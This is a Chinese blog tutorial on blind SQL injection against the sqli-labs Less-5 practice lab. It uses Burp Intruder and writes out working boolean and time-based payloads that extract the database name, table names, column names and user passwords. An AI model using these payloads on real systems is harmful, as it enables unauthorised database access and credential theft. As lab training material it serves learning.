SQL注入-盲注 Burp盲注方法

文章目录

  • 判断库名位数
    • Burp 抓取数据包
    • 设置payload位置
    • 设置payload 1
    • 设置payload 2
    • 点击开始攻击
  • 判断库名下表名的位数
    • Burp 抓取数据包
    • 点击开始攻击
  • 判断库名下第二张表名
  • 判断表名下的字段名
  • 判断表中具体数据

什么是盲注?

有时目标存在注入,但在页面上没有如何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

盲注种类:

SQL注入-盲注 Burp盲注方法_第1张图片

盲注函数解析

length()函数:返回字符串的长度
?id=1 and length(database()) > 1

substr()函数:截取字符串,从第一位截取一个
?id=1 and substr(database(),1,1) = 'a'
substr(1,2,3)
第一个参数代表是我们截取的字符串
第二个参数代表截取的位数
第三个参数代表的是截取个数

limit 0,1
0代表第一位
1代表个数

时间型盲注
sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行,第二个语句错误就执行第三个语句
?id=1' and if(length(database())=8,10,sleep(5)) --+

ascii()、ord():返回字段的ascll码值

**靶场sqli-labs - Less 5

SQL注入-盲注 Burp盲注方法_第2张图片

判断库名位数

由length()函数判断可知,库名位数为8

?id=1' and length(database())=8 --+

SQL注入-盲注 Burp盲注方法_第3张图片

Burp 抓取数据包

发送GET请求抓取数据包并发送到 intruder 模块

http://192.168.174.128:8081/Less-5/?id=1' and ascii(mid(database(),1,1)) = 97 --+

SQL注入-盲注 Burp盲注方法_第4张图片

设置payload位置

‘1’ 代表的是截取的位数,'97’代表 ASCII 码表 总数为127,攻击类型设置:ClusterBomb

SQL注入-盲注 Burp盲注方法_第5张图片

设置payload 1

payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 8. 间隔为1

SQL注入-盲注 Burp盲注方法_第6张图片

设置payload 2

payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 126. 间隔为1,因为ASCII码数量总数为127

SQL注入-盲注 Burp盲注方法_第7张图片

点击开始攻击

发现存在8位数,ASCII码分别对应:‘115’ ‘101’ ‘99’ ‘117’ ‘114’ ‘105’ ‘116’ ‘121’ 解码分析分别对应:‘s’ ‘e’ ‘c’ ‘u’ ‘r’ ‘i’ ‘t’ ‘y’ ,所以得到了库名为:“securtiy”

SQL注入-盲注 Burp盲注方法_第8张图片

判断库名下表名的位数

由length()函数判断可知,表名位数为6

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

SQL注入-盲注 Burp盲注方法_第9张图片

Burp 抓取数据包

发送GET请求抓取数据包并发送到 intruder 模块

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1 --+

SQL注入-盲注 Burp盲注方法_第10张图片

SQL注入-盲注 Burp盲注方法_第11张图片

SQL注入-盲注 Burp盲注方法_第12张图片

点击开始攻击

发现存在6位数,ASCII码分别对应:‘101’ ‘109’ ‘97’ ‘105’ ‘108’ ‘115’ 解码分析分别对应:‘e’ ‘m’ ‘a’ ‘i’ ‘l’ ‘s’ ,所以得到了表名为:“emails”

SQL注入-盲注 Burp盲注方法_第13张图片

判断库名下第二张表名

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=x --+
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=x --+

判断表名下的字段名

?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=x --+
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=x --+

判断表中具体数据

?id=1' and length((select password from users limit 0,1))>1 --+
?id=1' and ascii(mid((select password from users limit 0,1),1,1))=68 --+

你可能感兴趣的:(WEB安全基础,sql,数据库,网络,渗透测试,漏洞复现,安全,运维)